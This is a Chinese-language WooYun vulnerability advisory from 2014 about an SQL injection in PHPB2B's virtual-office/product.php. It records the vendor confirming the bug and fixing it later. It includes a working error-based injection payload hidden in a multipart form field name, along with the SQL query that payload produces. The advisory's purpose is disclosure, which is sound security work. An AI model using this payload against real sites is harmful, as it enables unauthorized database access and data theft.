当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-080681

漏洞标题:PHPB2B注入#3(绕过过滤)

相关厂商:phpb2b.com

漏洞作者: darker

提交时间:2014-11-01 11:11

修复时间:2014-12-16 11:12

公开时间:2014-12-16 11:12

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:7

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-01: 细节已通知厂商并且等待厂商处理中
2014-11-01: 厂商已经确认,细节仅向厂商公开
2014-11-11: 细节向核心白帽子及相关领域专家公开
2014-11-21: 细节向普通白帽子公开
2014-12-01: 细节向实习白帽子公开
2014-12-16: 细节向公众公开

简要描述:

PHPB2B某处注入
绕过过滤。
官方最新版本. https://github.com/ulinke/phpb2b/archive/master.zip

详细说明:

1.注册企业会员。
2.注册企业会员且通过审核。
发布产品。
漏洞文件。virtual-office/product.php
Content-Disposition: form-data; name="data[product][sort_id]"
Content-Disposition: form-data; name="data[product][name]"
...
...
post提交:Content-Disposition: form-data; name="data[product][sort_id FROM pb_thk_products where 1=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#]"
执行:
SELECT sort_id FROM pb_thk_products where 1=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#,name,price,country_id,content,type_id,category_id,brand_id,status,tag_ids,cache_companyname,industry_id,area_id,member_id,company_id,modified,created FROM pb_thk_products WHERE id='-1'

漏洞证明:

本地测试开启debug。程序默认不开启debug,可延时注入。

p1.jpg


修复方案:

过滤。

版权声明:转载请注明来源 darker@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-11-01 19:44

厂商回复:

确认

最新状态:

2014-12-16:已修复